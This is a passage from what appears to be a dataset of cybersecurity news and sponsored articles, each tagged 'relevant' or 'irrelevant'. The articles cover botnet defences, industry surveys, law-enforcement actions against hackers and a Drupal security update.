the extensions altogether or automatically removed them from users' browsers, it should be noted that these extensions would remain active for existing users and continue spying on them. On the other hand, all the four extensions are still available on the Google Chrome Web Store, but Palant believes they will be removed by the tech giant after ""considerable news coverage.""",relevant
"14 Ways to Evade Botnet Malware Attacks On Your Computers Cybercriminals are busy innovators, adapting their weapons and attack strategies, and ruthlessly roaming the web in search of their next big score. Every manner of sensitive information, such as confidential employee records, customers' financial data, protected medical documents, and government files, are all subject to their relentless threats to cybersecurity. Solutions span a broad spectrum, from training email users to ensuring a VPN kill switch is in place, to adding extensive advanced layers of network protection. To successfully guard against severe threats from hackers, worm viruses to malware, such as botnet attacks, network managers need to use all tools and methods that fit well into a comprehensive cyber defense strategy. Of all the menaces mentioned above to a website owner's peace of mind, botnets arguably present the most unsettling form of security risk. They're not the mere achievements of malicious amateur cybercriminals. They're state-of-the-dark-art cyber-crafts. What's most rattling about them, perhaps, is their stealth, their ability to lurk around seeking vulnerabilities to exploit invisibly. How Do Botnets Work? Proliferating botnets is not one of the more straightforward strategic hacking weapons. Botnets are subtle data-extracting malware. They infiltrate networks, unauthorisedly access computers, and allow malware to continue operating without disruption for users, while they steal data and funnel it outside the victim network and into awaiting ""botmasters,"" evading detection throughout the process. What Can You Do to Stop Botnets? The front line of cyber defense has got to be manned by people — real people working at their computers, doing their everyday tasks in the office. The best defense against ever-evolving threats is to educate the users who are the perpetrators' prime targets. These particular front lines span the spectrum of web interactions, from email to social media. It's recommended to implement a strategy that incorporates as many of the following approaches, from some basics to more sophisticated solutions, as practicable for your organization: 1. Be Sure Your VPN Has a Kill Switch in Place A virtual private network (VPN) allows users to access confidential information by connecting to the VPN via the public network. Your VPN provider should have a VPN kill switch in place to keep sensitive data, such as your IP address, from inadvertently being transmitted through an unsecured connection. 2. Develop a Robust System to Capture and Block Fraudulent Emails A business email compromise is such a common attack strategy that it has its own acronym, and the numbers of BEC scam incidents are continuously rising. This kind of attack is tough to defend against. Solutions to BEC detection and elimination require effective classification and policies for blocking suspicious email senders, content, and attachments. Install defensive gateway web tools such as WebSense, McAfee, to help block receipt of email from undesired sources and block requests from being sent out to addresses that are reputed to be possible sources of malware. 3. Build a Culture of Diligent Defense Against BEC Social manipulation is reportedly among the most common methods criminals use to wage attacks on email accounts. botnet malware attack They've long figured out that clicking on email attachments is a reflex for many busy users. So, shore up the security of your system by: Expecting users to open email attachments, even if your organization has an official policy, buried in a handbook somewhere—maybe about thinking before clicking and more prominently promote the policy. Provide training and frequent updates to employees on their options for helping network security, for example, using strong passwords. Teach users how to obtain help and to use real-time solutions to isolate and avoid the kinds of attacks that exploit network users. Teach users to be diligent in reporting suspicious emails. Include examples of email attacks and simulations in your training, to help people learn to identify attacks, and provide extra support for users whose accounts appear to be the most vulnerable. 4. Switch to Manual Software Installation It could be unpopular advice, but some organizations should disable the automatic installation of software via the AutoRun feature based on their threat landscape. Disallowing AutoRun from automatically installing software can help prevent a computer's operating systems from indiscriminately launching unwanted commands from unknown external sources. 5. Enable the Windows Firewall Installing the Windows firewall is fundamental for baseline protection against incoming security threats. Users may want to disable the Windows firewall to prevent it from blocking network connections they want to make. If your networked computers have alternative adequate firewall protection, then it may be preferable or even necessary to disable the Windows firewall. The critical point here is to have appropriately configured firewall protection in place. 6. Compartmentalize Within the Network Consider network compartmentalization. In today's work environments, many, perhaps most, computer stations have to communicate with one other between departments, often many times daily. However, limiting or eliminating that ability for machines that don't need that kind of broad access can go far in helping stop botnets from spreading throughout your network. To the extent possible: Minimize your network's risk by forming virtual local area networks (VLANs). Use your access control list (ACL) filters to restrict access to objects and limit threat exposure. 7. Use Data Filtering Botnet malware usually works by establishing interactions with at least one remote command-and-control server, which hackers also use to extract sensitive information illegally. To block the malicious interactions and thwart the criminal activity, use data filtering on information exiting your network. Some viable approaches include: An egress content filtering tool can be applied, forcing the flow of your organization's web traffic through the filter and prevent information from exiting your organization's network. A data loss prevention (DLP) solution can also be used to monitor unauthorized accesses and breaches, stopping them from leaking information. 8. Break Domain Trust Relationships Eliminate password trusts to regain tighter control over your local accounts. Cautiously controlling your local administrator account is essential to cutting off threats and eradicating them. Inactivating the automatic ability of computers to interconnect shuts off the route used by botnets to circulate through an internal network. In networks, where some or many computers contain highly sensitive data, this can provide a secure alternative to defend against botnet attacks. 9. Employ Additional Layers of Prevention Put additional layers of protection to help prevent botnets from ensconcing themselves in your system, focus on shoring up the network, for example, at specific points of contact that are especially vulnerable, such as routes from certain hardware or software components. A couple of things to keep in mind: Host-based intrusion detection systems are exceptionally efficient, but they're also expensive, and typically difficult to deploy successfully. These tools cannot correct gaps or other existing technical deficiencies in an operating system. 10. Enhance and Increase Network Monitoring Closely monitoring the network, information on how connected users are operating within an organization, arms network defense solutions significantly. Having a deeper understanding of how everything and everyone is ordinarily interacting makes it much easier to detect unusual activity quickly when a botnet or other malware intrusion has begun. Ideally, 24-hour monitoring of network activity should be the policy, employing data collection tools that detect anomalous behavior and block attempts to infiltrate the system. Consider pricing remote cybersecurity services, to provide the extent and quality of network monitoring equipment and expertise that may be more than in-house IT facilities and/or staff alone can provide around the clock. 11. Control Network Accesses with Proxy Servers Creating a supporting exit point through which Internet access can be monitored creates reinforcement for monitoring efforts. Routing outbound information through a proxy server can head off cybercriminals' attempts to circumvent your network security. Filtering content through a proxy server is a practical option for most networks, although, of course, it may not be realistic to stop every bit of potentially problematic outbound information. 12. Apply the Least Privilege Principles Generally speaking, access rights should be based on the needs of the users' functions. Having an administrator that is not the same person as the user of a particular workstation makes it much more difficult for malware to be spread by downloading. It also makes it harder to use AutoRun tactics to exploit a system. It further makes it more challenging for perpetrators to spread malware from one infiltrated computer workstation to others by employing a user's network account credentials. 13. Monitor Responses to Domain Name System Queries Maintain monitoring of workstations' queries to DNS servers is an excellent approach to identifying symptoms of botnet infiltration. For example, monitor for low time-to-live (TTL). Unusually low TTL values can be an indicator of botnet penetration. By carefully monitoring for low TTL, your systems administrator can take action to counter the attack and eliminate botnets before the infestation spreads. 14. Stay Informed of Emergent Threats Keep yourself and your IT team apprised of new local, national, and global cyber threats that begin sweeping across regions. For example, reportedly, the incidences of cybercriminals using URLs in emails to infiltrate internal networks were much higher than perpetrators' use of attachments. More generally, a staggering percentage of the successful thefts of information from internal networks over the past year has been through the use of botnets. Staying up to date with news on new and evolving cyber-threats is the first order of activity network management professionals must consistently maintain, to be effective in protecting an organization's system. Going Forward More Securely To protect the people who've trusted you with their sensitive personal information, protect your organization from liability, and protect your brand's reputation, you need to defend on all fronts. Use the above and other strategies, methods, and tools for ensuring that you maintain an effective defense against cyber-attacks waged through email, mobile access points, social platforms, and any other media. As mentioned, botnets now account for a vast percentage of cybercrime. Using the approaches discussed above can go far in helping construct a fortified cybersecurity framework that can be scaled for any network budget and size.",irrelevant
"The 2020 State of Breach Protection Survey – Call for Participation 2010-2019 decade will be remembered as the time in which cybersecurity became acknowledged as a critical concern for all organizations. With rapidly growing security needs and respective budgets, it is now more essential than ever for security decision-makers to zoom out of the 'products' mindset and assess their security stack in light of the overall breach protection value that their investments return. The 2020 State of Breach Protection Survey (click here to participate) attempts to map out for the first time how breach protection is practiced and maintained globally – what are the common products, services, concerns, and challenges that are most common amongst organizations. Any security professional filling the anonymous salary survey questionnaire, organised by The Hacker News in partnership with Cynet, will get a free copy of the survey report once it is released in January 2020. You can complete the questionnaire here. Why is that important? Because unlike 'endpoint protection,' or 'next-generation firewall,' breach protection is not a strictly defined category and most chances are that – again, unlike these previous two examples – there is no budget in your organization that's designated for 'breach protection,' even while this is the ultimate goal of all your cybersecurity investments. Changing from security products to breach-protection oriented mindset is essential to break away from the comfort zone of the known and currently practiced security in an organization, pushing you to ask the really hard questions continuously. The hard questions are not whether the SIEM operates adequately or whether the EPP was successfully deployed across all endpoints in your environment, but rather – is my environment truly secured despite the products, workforce, and service providers I engage? And if not, what can I do about it? And the best place to start is to get firm and fact-based insights into what others are doing. We all face the same attacks and need to confront them within a pool of available resources. That makes crowd-sourcing this knowledge an extremely powerful tool. Going straight to the point – what's in it for you by filling the survey? For the most part, you will be benchmarking your variation of breach protection with a comparison set which is far wider than your standard cycles. Let's assume that your interpretation of breach protection includes, for example, EDR on your endpoints, CASB for your SaaS apps with both streaming alerts to a cloud-based SIEM, and engaging a 3rd party MSSP for incident response and investigation. Is that a common model? If not, what is and how might it impact your onward decision making? Gaining robust knowledge on how your role and industry peers handle challenges similar to yours can provide you with new perspectives. From a different angle – what do you perceive as your greatest challenge? Is it recruiting a skilled security team? Or perhaps capturing the management mindset to approve the budgets for all the products and services your environment requires? The best supporting evidence to a budgetary claim is showing how the request is on par with the industry standards. So it's a win-win. Complete the survey and do a valuable service, both to yourself and to the wider community of security decision-makers. Participate in the 2020 State of Breach Protection Survey here.",irrelevant
"Europol Shuts Down Over 30,500 Piracy Websites in Global Operation In a coordinated global law enforcement operation, Europol has taken down more than 30,500 websites for distributing counterfeit and pirated items over the Internet and arrested three suspects. Among other things, the seized domains reportedly offered various counterfeit goods and pirated products and services, including pirated movies, illegal television streaming, music, electronics, cracked software downloads, counterfeit pharmaceuticals, and other illicit products. However, it should be noted that the seized web domains do not include any major pirate websites on the Internet. During the investigation, international law enforcement officials: shut down a total of 30,506 web domains, arrested three suspects, seized 26,000 luxury clothes and perfumes, seized 363 liters of alcoholic beverages, and seized an unspecified number of hardware devices. The officials also identified and froze more than €150,000 from several bank accounts and online payment platforms. The domains were seized, and arrests were made as part of an ongoing anti-piracy effort, dubbed 'In Our Sites X' (IOS X), that Europol launched in 2014 and ran with the help of European Union member states and international law enforcement. ""'In Our Sites' (IOS), launched in 2014, is the continuation of a recurrent joint global operation that has increased significantly year-on-year,"" the Europol says in its press release. ""The operation is the result of the comprehensive approach which Europol follows with the aim of making the internet a safer place for consumers, by getting even more countries and private sector partners to participate in this operation and providing referrals."" The operation was backed by 18 EU member states, including Albania, Belgium, Bosnia and Herzegovina, Colombia, Croatia, Denmark, France, Germany, Greece, Ireland, Italy, Netherlands, Norway, Portugal, Serbia, Spain, Sweden, Switzerland, the United Kingdom, as well as Hong Kong, China, the United States, and Eastern Europe. Last year, the In Our Sites initiative resulted in the shutdown of more than one million copyright-infringing website domains that were found selling counterfeit automotive parts, electrical components, personal care items, and other fake goods.",irrelevant
"5 Reasons Why Programmers Should Think like Hackers Programming has five main steps: the identification and definition of the problem, the planning of the solution for the problem, coding of the program, testing, and documentation. It's a meticulous process that cannot be completed without going through all the essential points. In all of these, security must be taken into account. As you come up with a solution to the problem and write the code for it, you need to make sure security is kept intact. Cyber attacks are becoming more and more prevalent, and the trend is unlikely to change in the foreseeable future. As individuals, businesses, organizations, and governments become more reliant on technology, cybercrime is expected to only grow. Most of what people do in contemporary society involves the internet, computers, and apps/software. It's only logical for programmers to be mindful of the security aspect of making applications or software. It's not enough for programmers to produce something that works. After all, they are competing for users to choose their software. Many consumers are already becoming aware of the need for security in the applications they are using. Cyber-attacks have devastating consequences, from identity theft to the hundreds of thousands worth of digital assets or lost opportunities for businesses. Moreover, even when businesses don't suffer an actual attack, they can still be slapped with grueling penalties like the 183 million GBP fine earlier this year to British Airways because of compliance failures. It greatly helps when programmers think like hackers, but unfortunately, developers don't receive much security training when doing a computer science university degree or learning through online training courses. Companies are also aware of the importance of having an effective security policy and well-trained staff, but they still spend most of their time and money on adding separate layers of cybersecurity defenses or recovering from cyber attacks. To solve this problem at its core, the best strategy for the companies is to train their development teams using platforms like Adversary.io, where they can learn best secure coding practices by understanding how hackers exploit vulnerabilities. This benefits not only the final output of the programming process but also the enthusiasm and efficiency of software developers. Ponder on the following reasons why programmers should adopt the mindset of hackers. 1. Incomparable Tenacity Hackers are mostly self-taught experts in defeating security systems. They are people who have the patience to attempt as many times as possible to break a barrier that prevents them from doing or getting something. They don't always rely on formal education when it comes to most of the techniques they use, let alone the persistent determination to break into networks or user accounts. Hackers are simply tenacious. Generally, they learn everything on their own. They don't rely on others to spoonfeed new knowledge to them, preferring to figure things out DIY style. If there's something they don't know or understand, they go out of their way to learn the ropes. Hackers may not be necessarily fond of going through the hard ways, but somehow they are compelled to take the more difficult road since most of the things they do are not taught in the classroom. The things they may want to try or do could also be illegal and frowned upon by the conventions-abiding community of programmers. 2. Doing Instead of Reading and Traditional Learning It's important for hackers to always have the drive to try as many things in as many ways as possible to achieve their goals. They do a lot of learning but not through books and lectures. It's more about accumulating new knowledge from their experiences. Doing is given more priority over reading or attending lectures. As Edgar Dale's cone of experience puts it, people tend to retain 5% of the knowledge they obtain from lectures, around 10% from reading, and approximately 75% from trying out or doing the things they seek to learn. 3. Anticipating Potential Security Breaches The stereotype that hackers always think of breaking cyberattack defenses is not entirely false. Yes, they have many other things in mind, but they have a natural tendency to break the rules, take advantage of weak security, and destroy established protective systems. cyber security training for software developers When programmers think this way, they become more mindful of the security weaknesses they might unwittingly create in the process of programming. Programmers who think like hackers automatically think of how they might get around a security protocol or exploit an overlooked bug in an application. They anticipate problems as they already carry in their minds the intention to destroy the things they build. Their understanding of offenses makes them more prepared in creating defenses. 4. Creative Thinking and Willingness to Break Out of the Mold Hackers are absolutely creative and resourceful. They may appear averse to conventions, but they mostly remain organized in innovative and atypical ways. They ceaselessly develop new ways to achieve their goals. They don't let stumbling blocks discourage them. When they fail, the inherent tenacity gets them going. The phrase ""to break out of the mold"" here does not imply that programmers are free to consider breaking laws or adopting black hat methods. The point is that programmers can do more when they don't let conventions or currently prevalent wisdom to dominate their programming. They can solve problems faster when they are not tied to the knowledge they have learned from school or traditional books. Who says hackers always try to do things illegally? Whenever there's an opportunity for them to do something legal but easier and faster, you can bet that they would. Hackers are always on the lookout for new vulnerabilities they can exploit. This ""exploitation"" may not always be illegal. They may have newly discovered a security defect or weakness that is not yet outlawed or considered as a cybercrime. That's why they never stop learning and exploring to find ways that won't entangle them with the law before they resort to felonious options. 5. Having Fun Programming is not an easy task when you think of it as a job. When all you have in mind is the completion of the program according to the milestones or deadlines, you will most likely suffer from the pressure. You will not enjoy doing the things you do. With hacking, there's usually a sense of enthusiasm and excitement. Hackers don't attempt cracking into someone's accounts with a deadline in mind. They do it to achieve something, sometimes randomly or different from the original goal. They always see opportunities or positive things in whatever they do. In Conclusion Hackers (the black hat or criminal ones) are not role models. This post does not seek to glorify them. However, if programmers learn to think the way they do, they can develop more secure applications. They can be more capable of preventing security breaches. If you're thinking to get started immediately, you should check out Adversary, an effective training platform for programmers that offers hands-on learning through continuously growing labs and a wide range of interactive content. Moreover, programmers who have the mentality of a hacker are unlikely to get tired of working with codes and are generally more creative and persistent.",irrelevant
"Download: The 2020 Cybersecurity Salary Survey Results The 2020 Cybersecurity Salary Survey was an online survey published in The Hacker News and created to provide insight into the details related to cybersecurity compensation. There were over 1,500 security professionals who completed the survey. Today you can access the aggregated and analyzed 2020 Cybersecurity Salary Survey Results and gain insight to the main ranges and factors of current cybersecurity salaries. The received data enabled the conductors of the survey to form a detailed salary profile for five security positions: Security Analyst/Threat Intelligence Specialist, Security/Cloud Security Architect, Penetration Tester and Security Director/Manager. This profile includes both the range and composition of salaries for these positions, as well as the relative impacts of organizational (geolocation, industry, etc.) and individual (gender, experience, certification) factors. Using the survey results (download here), any individual can go to the section relevant for his or her role and learn how their salary benchmarks against the respective range and factors and then utilize this knowledge in any decision making that involves a compensation aspect. cybersecurity jobs salary survey Apart from this, the data collected both validated and refuted some previous assumptions regarding the relative weight of factors such as geolocation, certification and others. Here is an assortment of the interesting ones: Geolocation Matters. Security Analysts in NAM get a significantly higher salary than their counterparts in the EMEA and APAC, with more than 80% earning between 71K and 110K, in contrast to less than 35% in EMEA and 21% in APAC. Degree doesn't guarantee higher compensation. All analyzed positions feature a similar salary range distribution for both employees with or without a degree in computer science or a related engineering filed. Banking and Finance lead with payment range and distribution for both management and individual contribution positions. Quality beats experience. Surprisingly, across all analyzed positions we found both individuals with little experience at the top of the payment curve and seasoned veterans at its bottom. Pivoting pays. Individuals that pivoted from an IT position to a cybersecurity position earn more than their peers that started out in cybersecurity. Bonuses are common practice. With the exception of security analysts, all other positions include periodic bonuses with annual 1%-10% as the leading pattern. Women are hard to find. There is a significant shortage of women in security positions. The highest percentage is in the 20-29 age group with 6% in overall positions. Women in management. Within the five analyzed positions, the highest percentage of women were found in the security director/manager position at 10%. So read the survey results, get to know how your salary rates, and feel free to explore the results further to gain insights of your own! Download the 2020 Cybersecurity Salary Survey Results here.",irrelevant
"The Best Templates for Posting Cybersecurity Jobs The cybersecurity of a company is heavily reliant upon the skills and knowledge of the people who install, manage, and operate its security products. This means that recruiting and nurturing the best security team possible should be a CISO's top priority. Cynet's Ultimate Cybersecurity Job Posting Templates (download here) provide a list of the main responsibilities and skills for typical security positions, built upon research and providing IT and security managers with pre-set template job descriptions so that there is no need to create them from scratch. Because of the fact that there are many different cybersecurity job titles, with much overlap between job descriptions and responsibilities, the creation of the inclusion criteria for these positions required significant review and consideration. Six positions are included in the following job templates, including all integral aspects of the responsibility cycle in product deployment, integration, and operation, plus the management of security personnel. The positions covered in the templates are: Security Architect — This position oversees the design, building, testing, and implementation of security systems in the organization's environment, both for business and customer data. They must have in-depth knowledge of IT systems and be current on the newest developments in security standards and authentication protocols, plus solutions meeting best practice requirements. Security Analyst Tier 1 — Tasked with overseeing stage one triage and definition of security events, they provide 24/7/365 support for the SOC. They must follow standard procedures for detection, definition, classification, and reporting of incidents, under the management of the SOC manager and in coordination with Tier 2 SOC Analysts. Security Analyst Tier 2 — Responsible for all technical issues concerning response to critical incidents that have been elevated by the Tier 1 Analyst. Their job requires ensuring immediate containment of the threat, investigations, and management of remediation actions that must be taken. They are also responsible for increasing security by utilizing new knowledge they have gained during the response process. Security Analyst Tier 3 – Responsible for the discovery of undetected threats which have taken advantage of vulnerabilities in the organizational environment, continually monitors for such vulnerabilities and weaknesses. Provides threat hunting based on threat intelligence feed IoCs, ensures real-time visibility, and reporting on security posture status with proactive penetration testing. cyber security analyst SOC Manager — Oversees the creation and management of workflows as they pertain to security incident monitoring, management, and response. Ensure SLA compliance, following processes, and improvisation as needed to reach operational goals. Director of Security — Manages all security-associated issues in the organization, including compliance with required frameworks, buying, deployment, and maintenance of cybersecurity solutions and breach protection processes. Reports to CIO and is the funnel of information for all cyber-related issues in the company. director of security Each role covered includes two areas: Responsibilities — a complete list of all the main tasks the person in this position is responsible for. Skills — the knowledge, professional, personal, and management skills that are required to perform the job's responsibilities successfully. These templates can be adjusted as needed, utilizing the Responsibilities/Skills break down. This makes it easy for the CISO to customize them as their company's specific needs require. As one example in an organization with a small security team, there might be the need for a person who can do all the following: threat hunting, response process management, and new solution evaluations. As such, this position would include the responsibilities and skills of three different roles – Security Analyst Tier 3, SOC Manager, and Security Architect. So, if you are ready to complete the portfolio of your security personnel, download the cybersecurity job posting templates. Then take the information relevant to your needs and easily post clear, descriptive employee 'wanted' ads that will help you find the right people for your team.",irrelevant
"Top 5 Cybersecurity and Cybercrime Predictions for 2020 We distilled 30 independent reports dedicated to cybersecurity and cybercrime predictions for 2020 and compiled the top 5 most interesting findings and projections in this post. Compliance fatigue will spread among security professionals Being a source of ongoing controversy and debate, the California Consumer Privacy Act (CCPA) was finalized on 11th January 1, 2019. Driven by laudable objectives to protect Californians' personal data, prevent its misuse or unconsented usage by unscrupulous entities, the law imposes formidable monetary penalties of up to $7,500 per intentional violation and $2,500 per unintentional violation. The Act is enforceable against organizations that process or handle personal data of California residents, regardless of the geographical location of the former. Akin to the EU GDPR, data subjects are empowered with a bundle of rights to control their personal data and its eventual usage. The pitfall is that if every US state introduces its own state privacy law, one will have to comply with over 50 overlappings and sometimes incompatibly contradictive regulations only on the US territory or otherwise face harsh financial penalties or even criminal prosecution. Exacerbated by the mushrooming regional, national, and transnational regulations, 2020 may become a year when cybersecurity compliance will erode and start its rapid downfall. In light of the slow judicial system on one side, and insufficient cybersecurity skills and scanty budgets on another, cybersecurity professionals may start flatly disregarding the wide spectrum of superfluous regulations. Third-party data breaches will dominate the threat landscape Supply chain attacks are up 78% in 2019, says Symantec. Competitive and successful businesses are usually distinguished by a high level of proficiency and specialization, concentrating all available resources to attain excellence in a particular market to outpace competitors. Hence, they outsource most of their secondary business processes to skilled suppliers and experienced third-parties, thereby reducing costs, increasing quality, and accelerating delivery. Sadly, suppliers also operate in turbulent and highly-competitive global markets and thus can rarely afford a decent level of cybersecurity and data protection for their clients. IBM says the average time to identify a breach in 2019 was as high as 206 days. Still, even worse, such attacks are infrequently detected both due to their sophistication and lack of skills amid the victims, eventually being suddenly reported by security researchers or journalists and flabbergasting the data owners. Cybercriminals are well aware of this low-hanging fruit and will continue to purposely target this weakest link to get your data, trade secrets, and intellectual property. External attack surface will continue to expand without control 61% of organizations have experienced an IoT security incident in 2019, according to CSO Online by IDG. The global proliferation of IoT and connected devices, usage of public cloud, PaaS, and IaaS greatly facilitates business and enables rapid growth. Concomitant, and often unnoticed, is the increase in an organization's external attack surface. Put it simply; an external attack surface is composed of all your digital assets (aka IT assets) that attackers can access from the Internet and attribute to your organization. Traditional digital assets, such as network or web servers, are usually well inventoried, but RESTful API and web services, hybrid cloud applications, and business-critical data hosted on external platforms - are just a few examples of mushrooming digital assets of a modern-day attack surface that remain unattended. As you cannot protect what you don't know, the vast proportion of these digital assets are not properly maintained, monitored, or protected in any manner. The situation is exacerbated by rogue mobile apps, fraudulent, phishing, and squatting websites, detectable by properly implemented domain security monitoring that now starts paving its road to popularity among cybersecurity professionals. In summary, as organizations upgrade their IT and leave behind a trail of obscure digital unknowns, whether in-house or external, the easier and faster it is to break in. Cloud misconfigurations will expose billions of records Forbes says that 83% of enterprise workloads will move to the cloud by 2020. Unfortunately, the steady growth of the cloud for data storage and processing widely outruns requisite security skills and adequate training among IT personnel in charge of cloud infrastructure. Gartner reports that around 95% of cloud security failures result as a fault of the customer, not vendors of public cloud infrastructure. Unsurprisingly, a substantial part of significant data leaks in 2019 stems from misconfigured cloud storage, exposing the crown Jewels of the largest tech companies and financial institutions. In July 2019, the world media reported a breach of Capital One, being presumably the largest data breach within the US financial sector and affecting approximately 100 million individuals in the United States and 6 million in Canada. Reportedly, the attacker exploited a misconfigured AWS S3 bucket to download extremely sensitive data left unattended. While Capital One estimated only its direct losses stemming from the breach to attain $150 million, the FBI later disclosed that as many as 30 other organizations could have been compromised using the same AWS misconfiguration. Foreseeably, in 2020, cloud security incidents will stay atop of data breach root causes. Password re-use and phishing attacks will skyrocket Just for the world's largest companies from the Fortune 500 list, one may ferret out over 21 million of valid credentials exposed in the Dark Web in 2019, says ImmuniWeb. Cybercriminals prefer rapid and riskless raids to time-consuming APT attacks, costly 0days, or chained exploitation of sophisticated vulnerabilities in SAP. Even if many organizations finally managed to implement a consumable Identity and Access Management (IAM) systems, with strong password policies, MFA, and continuous monitoring for anomalies, few external systems are included in the safeguarded scope. Such grey-zone systems range from SaaS CRM and ERP to elastic public cloud platforms. Even if the passwords found or purchased by the attackers on the Dark Web are invalid, they provide a great wealth of ideas for ingenious social engineering campaigns, facilitate phishing and smart brute-forcing attacks. Frequently, these attacks, being at first sight quite primitive from a technical standpoint, demonstrate astonishing efficiency and relentlessly undermine and decollate the organization's cybersecurity resilience efforts. The solution of the week To offer our readers a robust and cost-effective solution to address the five emerging challenges above, we went through solutions highlighted by Gartner, Forrester, and IDC in 2019. We considered simplicity, available integrations, and value for money among the top differentiators. Today, our preference deservingly goes to ImmuniWeb Discovery for three specific reasons: it consolidates Attack Surface Management and Dark Web Monitoring in a single offering, has a fixed price for an unlimited number of monitored digital assets, and importantly - the vendor actively develops its community offering now running over 50,000 free security tests a day, helping cybersecurity professionals.",irrelevant
"British Hacker Accused of Blackmailing healthcare Firms Extradited to U.S. A British man suspected to be a member of 'The Dark Overlord,' an infamous international hacking group, has finally been extradited to the United States after being held for over two years in the United Kingdom. Nathan Francis Wyatt, 39, appeared in federal court in St. Louis, Missouri, on Wednesday to face charges related to his role in hacking healthcare and accounting companies in the U.S. and then threatening to publish stolen information unless victims paid a ransom in Bitcoin. According to a court indictment unsealed yesterday, Wyatt faces one count of conspiracy, two counts of aggravated identity theft and three counts of threatening to damage a protected computer. However, the suspect has not yet pledged guilty to any of the charges in the U.S. federal court, where he appeared after fighting for 11 months to avoid being extradited from Britain. Cyber Attacks by The Dark Overlord Group British police first arrested Wyatt in September 2016 during an investigation into the hacking of an iCloud account belonging to Pippa Middleton, the younger sister of the British royal family member Duchess of Cambridge, and stealing 3,000 images of her. Though he was released in that case without charge due to lack of evidence, Wyatt was again arrested in September 2017 over hacking companies, credit card fraud, and blackmail schemes. The indictment does not name the companies allegedly attacked by The Dark Overlord hacking group between February 2016 and June 2017 but says the victims include multiple healthcare providers and accounting firms in Missouri, Illinois, and Georgia states. However, the Dark Overload is the same hacking crew that previously has been attributed to a number of hacking attacks, including leaking 10 unreleased episodes of the 5th season of 'Orange Is The New Black' series from Netflix and hacking Gorilla Glue, Little Red Door cancer service agency, among others. The Dark Overlord Threatened Victims and their Relatives According to the press release published by the Justice Department, Wyatt created and operated the email and phone accounts to threaten the compromised organizations to extort money, and in case victims refused to pay, Wyatt harassed and threatened their relatives. The Dark Overlord Among other threatening messages the defendant sent to the victims, the indictment accused Wyatt of sending threatening text messages to the daughter of one of the owners of the Farmington company, asking her, ""hi ... you look peaceful ... by the way did your daddy tell you he refused to pay us when we stole his company files?"" The hacking group members also threatened to call the public accountants' clients ""one by one"" unless the company paid the ransom. ""Today's extradition shows that the hackers hiding behind The Dark Overlord moniker will be held accountable for their alleged extortion of American companies,"" said Brian A. Benczkowski, Assistant Attorney General of the Justice Department's Criminal Division. ""We are thankful for the close cooperation of our partners in the United Kingdom in ensuring that the defendant will face justice in U.S. court."" Prosecutors have asked the court to keep Wyatt in jail until trial.",irrelevant
"FBI Puts $5 Million Bounty On Russian Hackers Behind Dridex Banking Malware The United States Department of Justice today disclosed the identities of two Russian hackers and charged them for developing and distributing the Dridex banking Trojan using which the duo stole more than $100 million over a period of 10 years. Maksim Yakubets, the leader of 'Evil Corp' hacking group, and his co-conspirator Igor Turashev primarily distributed Dridex — also known as 'Bugat' and 'Cridex' — through multi-million email campaigns and targeted numerous organizations around the world. The State Department has also announced a reward of up to $5 million—the largest offered bounty to date for a cybercrime suspect—for providing information that could lead to the arrest of Yakubets, who remains at large. ""Bugat is a multifunction malware package designed to automate the theft of confidential personal and financial information, such as online banking credentials, from infected computers,"" the DoJ said in its press release. ""Bugat malware was specifically crafted to defeat antivirus and other protective measures employed by victims. Later versions of the malware were designed with the added function of assisting in the installation of ransomware."" Besides developing and distributing Dridex, Yakubets has also been charged with conspiracy to commit bank fraud in connection with the infamous ""Zeus"" banking malware that stole $70 million from victims' bank accounts. Starting May 2009, Yakubets and his co-conspirators allegedly employed widespread computer intrusions, malicious software, and fraud in an effort to steal millions of dollars from numerous bank accounts in the United States and elsewhere. russian hackers A photo showing luxurious life and super cars owned by these hackers. The hackers infected thousands of business computers with malware that captured passwords, account numbers, and other information necessary to log into online banking accounts, and then used the stolen data to steal money from victims' bank accounts. ""Yakubets allegedly has engaged in a decade-long cyber crime spree that deployed two of the most damaging pieces of financial malware ever used and resulted in tens of millions of dollars of losses to victims worldwide,"" said Brian A. Benczkowski, Assistant Attorney General of DoJ's Criminal Division. According to the Justice Department, the FBI discovered the identities of both Russian cybercriminals with the help of its foreign counterpart National Crime Agency (NCA) in the United Kingdom. The NCA started its investigation into the Dridex group back in 2014 and collected evidential material over several years that support the charges brought by the FBI. While taking down the infrastructure supporting Dridex in 2015, NCA also helped the FBI arrest Andrey Ghinkul, one of the distributors of Dridex malware. ""Investigations in the UK by the NCA and the Metropolitan Police have also targeted Yakubets' network of money launderers who have funnelled profits back to Evil Corp. Eight people have been sentenced to a total of over 40 years in prison,"" the NCA said. The joint investigation revealed that Yakubets ""also provides direct assistance to the Russian government"" by stealing confidential documents through state-sponsored cyberattacks. The duo has been alleged to have victimized 21 specific municipalities, private companies, banks, and non-profit organizations in California, Illinois, Massachusetts, Ohio, Texas, Washington, Iowa, Kentucky, Maine, New Mexico, and North Carolina, including multiple entities in Nebraska and a religious congregation. The United States has also rolled out sanctions against 17 other individuals and 7 Russian companies for their connection with the Evil Corp hacking group. ""Treasury is sanctioning Evil Corp as part of a sweeping action against one of the world's most prolific cybercriminal organizations. This coordinated action is intended to disrupt the massive phishing campaigns orchestrated by this Russian-based hacker group,"" said Steven T. Mnuchin, Secretary of the Treasury. Yakubets is currently believed to be residing in Russia, but if he ever stepped out of the country, he would be arrested and extradited to the United States.",irrelevant
"Drupal Warns Web Admins to Update CMS Sites to Patch a Critical Flaw If you haven't recently updated your Drupal-based blog or business website to the latest available versions, it's the time. Drupal development team yesterday released important security updates for its widely used open-source content management software that addresses a critical and three ""moderately critical"" vulnerabilities in its core system. Considering that Drupal-powered websites are among the all-time favorite targets for hackers, the website administrators are highly recommended to install the latest release Drupal 7.69, 8.7.11, or 8.8.1 to prevent remote hackers from compromising web servers. Critical Symlinks Vulnerability in Drupal The only advisory with critical severity includes patches for multiple vulnerabilities in a third-party library, called 'Archive_Tar,' that Drupal Core uses for creating, listing, extracting, and adding files to tar archives. The vulnerability resides in the way the affected library untar archives with symlinks, which, if exploited, could allow an attacker to overwrite sensitive files on a targeted server by uploading a maliciously crafted tar file. Due to this, to be noted, the flaw only affects Drupal websites that are configured to process .tar, .tar.gz, .bz2, or .tlz files uploaded by untrusted users. According to Drupal developers, a proof-of-concept exploit for this vulnerability already exists and considering the popularity of Drupal exploits among hackers, you may see hackers actively exploiting this flaw in the wild to target Drupal websites. Moderately Critical Drupal Vulnerabilities Besides this critical vulnerability, Drupal developers have also patched three ""moderately critical"" vulnerabilities in its Core software, brief details of which are as follows: Denial of Service (DoS): The install.php file used by Drupal 8 Core contains a flaw that can be exploited by a remote, unauthenticated 